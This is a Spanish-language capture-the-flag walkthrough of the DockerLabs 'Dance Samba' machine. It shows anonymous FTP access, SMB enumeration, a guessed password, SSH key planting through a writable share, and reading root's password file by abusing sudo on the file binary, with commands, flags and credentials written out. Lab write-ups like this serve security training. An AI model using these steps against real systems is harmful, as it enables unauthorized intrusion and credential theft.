Saltar a contenido

Maquina Dance Samba

  • OS: Linux
  • Plataforma: DockerLabs
  • Nivel: Medio
  • Tags: #password-gueessing #samba #enum4linux #netexec #ftp

Reconocimiento

Comienzo tirando un ping para comprobar conectividad.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.142 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.142/0.142/0.142/0.000 ms

Ahora tiro un escaneo con nmap para ver que puertos tenemos abiertos.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ sudo nmap -p- -Pn -n -sS --min-rate 5000 -vvv 172.17.0.2

Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE      REASON
21/tcp  open  ftp          syn-ack ttl 64
22/tcp  open  ssh          syn-ack ttl 64
139/tcp open  netbios-ssn  syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64
  • Puertos 21 FTP, 22 SSH, 445 y 139 Samba

Sobre los puertos abiertos tiro un segundo escaneo mas profundo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ sudo nmap -p 21,22,139,445 -sV -sC -Pn -n -vvv 172.17.0.2 -oN target

PORT    STATE SERVICE     REASON         VERSION
21/tcp  open  ftp         syn-ack ttl 64 vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              69 Aug 19  2024 nota.txt
22/tcp  open  ssh         syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a2:4e:66:7d:e5:2e:cf:df:54:39:b2:08:a9:97:79:21 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHAIsNDTAA/0XQjWsHZBAXtCPn1pDRyMrwgY5uPsCW08SIzEJ61AV9NHFoF09tEsl3wOl9R92ZXrHyslcnacApY=
|   256 92:bf:d3:b8:20:ac:76:08:5b:93:d7:69:ef:e7:59:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnq5Qj1E5WOsDQlUkhGJ3A5DhC7WSVKpx0LeT1YVXN6
139/tcp open  netbios-ssn syn-ack ttl 64 Samba smbd 4
445/tcp open  netbios-ssn syn-ack ttl 64 Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2026-01-03T05:45:24
|_  start_date: N/A
|_clock-skew: 0s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 21783/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 30701/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 58197/udp): CLEAN (Failed to receive data)
|   Check 4 (port 36620/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
  • Puerto 21 FTP: vsftpd 3.0.5 y tiene el login anonymous activo.
  • Puerto 22 SSH: OpenSSH 9.6p1 Ubuntu 3ubuntu13.4
  • Puerto 139 y 445 Samba: Samba smbd 4

Enumeración

Puerto 21 FTP

Me conecte como anonymous al servicio FTP.

  • Existía un archivo llamado nota.txt que me descargue.
┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.5)
Name (172.17.0.2:wndr): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls
229 Entering Extended Passive Mode (|||9391|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0              69 Aug 19  2024 nota.txt
226 Directory send OK.

ftp> get nota.txt

Inspeccione el archivo y vi lo siguiente:

  • Posible usuario macarena.
┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ cat content/nota.txt

I don't know what to do with Macarena, she's obsessed with donald.

Servicio SMB

Enumere los shares a los que tengo acceso con Null Session

  • Nada.
┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ nxc smb 172.17.0.2 -u '' -p '' --shares
SMB         172.17.0.2      445    5C7CFB1A160E     [*] Unix - Samba (name:5C7CFB1A160E) (domain:5C7CFB1A160E) (signing:False) (SMBv1:False)
SMB         172.17.0.2      445    5C7CFB1A160E     [+] 5C7CFB1A160E\:
SMB         172.17.0.2      445    5C7CFB1A160E     [*] Enumerated shares
SMB         172.17.0.2      445    5C7CFB1A160E     Share           Permissions     Remark
SMB         172.17.0.2      445    5C7CFB1A160E     -----           -----------     ------
SMB         172.17.0.2      445    5C7CFB1A160E     print$                          Printer Drivers
SMB         172.17.0.2      445    5C7CFB1A160E     macarena
SMB         172.17.0.2      445    5C7CFB1A160E     IPC$                            IPC Service (5c7cfb1a160e server (Samba, Ubuntu))

Por lo cual utiliceenum4linux para enumerar posibles usuarios.

  • Usuario macarena confirmado.
┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ enum4linux 172.17.0.2

 ========================================( Users on 172.17.0.2 )========================================

index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: macarena Name: macarena  Desc:

user:[macarena] rid:[0x3e8]

La nota decía que macarena estaba obsesionado con donald, por lo cual utilice donald como password para tratar de enumerar los shares como el usuario macarena.

  • macarena tiene permisos de lectura y escritura en el recurso macarena.
┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ nxc smb 172.17.0.2 -u 'macarena' -p 'donald' --shares
SMB         172.17.0.2      445    5C7CFB1A160E     [*] Unix - Samba (name:5C7CFB1A160E) (domain:5C7CFB1A160E) (signing:False) (SMBv1:False)
SMB         172.17.0.2      445    5C7CFB1A160E     [+] 5C7CFB1A160E\macarena:donald
SMB         172.17.0.2      445    5C7CFB1A160E     [*] Enumerated shares
SMB         172.17.0.2      445    5C7CFB1A160E     Share           Permissions     Remark
SMB         172.17.0.2      445    5C7CFB1A160E     -----           -----------     ------
SMB         172.17.0.2      445    5C7CFB1A160E     print$          READ            Printer Drivers
SMB         172.17.0.2      445    5C7CFB1A160E     macarena        READ,WRITE
SMB         172.17.0.2      445    5C7CFB1A160E     IPC$                            IPC Service (5c7cfb1a160e server (Samba, Ubuntu))

Me conecte al recurso y me di cuenta que parece una replica del directorio /home, supongo que del usuario macarena.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba/content]
└─$ smbclient //172.17.0.2/macarena -U 'macarena%donald'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jan  2 23:53:16 2026
  ..                                  D        0  Fri Jan  2 23:53:16 2026
  .bash_logout                        H      220  Mon Aug 19 11:18:51 2024
  .profile                            H      807  Mon Aug 19 11:18:51 2024
  .cache                             DH        0  Mon Aug 19 11:40:39 2024
  .bashrc                             H     3771  Mon Aug 19 11:18:51 2024
  .bash_history                       H        5  Mon Aug 19 12:26:02 2024
  user.txt                            N       33  Mon Aug 19 11:20:25 2024

                12087176 blocks of size 1024. 9540380 blocks available

Me baje e inspecciona la flag user.txt

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba/content]
└─$ cat user.txt
ef65ad731de0ebabcb371fa3ad4972f1

Intrusion.

Al tener permisos de escritura en el recurso macarena (que replica el directorio /home), podemos crear y subir un par de llaves SSH mediante SMB. Esto nos habilitará la conexión por SSH utilizando nuestra propia credencial.

  • Este comando creara un par de claves ssh, la privada que servirá para conectarme y la publica que subiremos al smb.
┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ ssh-keygen -t ed25519 -f macarena_key -C "macarena@pwn"

Generating public/private ed25519 key pair.
Enter passphrase for "macarena_key" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in macarena_key
Your public key has been saved in macarena_key.pub
The key fingerprint is:
SHA256:6C+RuExsNV6qlebKo/sKQ94F1yRBb8dWIJVXEADEgfw macarena@pwn
The key's randomart image is:
+--[ED25519 256]--+
|    o+=*+++++.   |
|     o=.o...     |
|   . ..+ +.      |
|    o +E+        |
| . . =.*S        |
|o . *.O          |
|o. = *..         |
| o .= o.         |
|  +=+o ..        |
+----[SHA256]-----+

Me conecto al recurso macarena del smb y creo los directorios necesarios para subir la clave publica que cree.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba/content]
└─$ smbclient //172.17.0.2/macarena -U 'macarena%donald'

smb: \> mkdir .ssh
smb: \> cd .ssh
smb: \.ssh\> put macarena_key.pub authorized_keys
putting file macarena_key.pub as \.ssh\authorized_keys (18.4 kB/s) (average 14.1 kB/s)

Ahora que ya subimos la clave publica, podemos utilizar la clave privada para conectarnos por SSH.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba/content]
└─$ ssh -i macarena_key macarena@172.17.0.2
Enter passphrase for key 'macarena_key':

Last login: Mon Aug 19 18:40:39 2024 from 172.17.0.1
macarena@5c7cfb1a160e:~$ id
uid=1001(macarena) gid=1001(macarena) groups=1001(macarena),100(users)
macarena@5c7cfb1a160e:~$

Escalada de Privilegios

Dentro del sistema existía un directorio /home/secret que contenía el siguiente hash.

  • Es una cadena en base32.
macarena@5c7cfb1a160e:/home/secret$ cat hash
MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===

Descodifique la cadena lo cual me dio como resultado otra cadena pero codificada en base64 la cual también descodifique.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ echo "MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===" | base32 -d; echo
c3VwZXJzZWN1cmVwYXNzd29yZA==

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/dance-samba]
└─$ echo "c3VwZXJzZWN1cmVwYXNzd29yZA==" | base64 -d; echo
supersecurepassword
  • Obtenemos una contraseña: supersecurepassword

Utilice esta contraseña para el usuario root pero no funciono, por lo cual la utilice para el usuario macarena y realizar un sudo -l que me permite la enumeracion de binarios con privilegios SUDO.

macarena@5c7cfb1a160e:/home/secret$ sudo -l
[sudo] password for macarena:
Matching Defaults entries for macarena on 5c7cfb1a160e:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User macarena may run the following commands on 5c7cfb1a160e:
    (ALL : ALL) /usr/bin/file
  • Puedo ejecutar el binario /usr/bin/file como cualquier usuario sin contraseña.

Dentro del directorio /opt me encontré con un archivo password.txt que pertenece al usuario root. Supongo que este archivo contendra su contraseña

macarena@5c7cfb1a160e:/opt$ ls -la
total 12
drwxr-xr-x 1 root root 4096 Aug 19  2024 .
drwxr-xr-x 1 root root 4096 Jan  3 06:37 ..
-rw------- 1 root root   16 Aug 19  2024 password.txt

Podemos abusar del binario file para leer un archivo.

  • Ejecutamos el binario file como el usuario root para leer el archivo password.txt
macarena@5c7cfb1a160e:/opt$ export LFILE=/opt/password.txt
macarena@5c7cfb1a160e:/opt$ sudo /usr/bin/file -f $LFILE
root:rooteable2: cannot open `root:rooteable2' (No such file or directory')
macarena@5c7cfb1a160e:/opt$
  • Obtenemos las credenciales root:rooteable2

Ahora podemos migrar al usuario root.

macarena@5c7cfb1a160e:/opt$ su root
Password:
root@5c7cfb1a160e:/opt# id
uid=0(root) gid=0(root) groups=0(root)
root@5c7cfb1a160e:/opt# whoami
root

root@5c7cfb1a160e:~# cat true_root.txt
efb6984b9b0eb57451aca3f93c8ce6b7

PWNED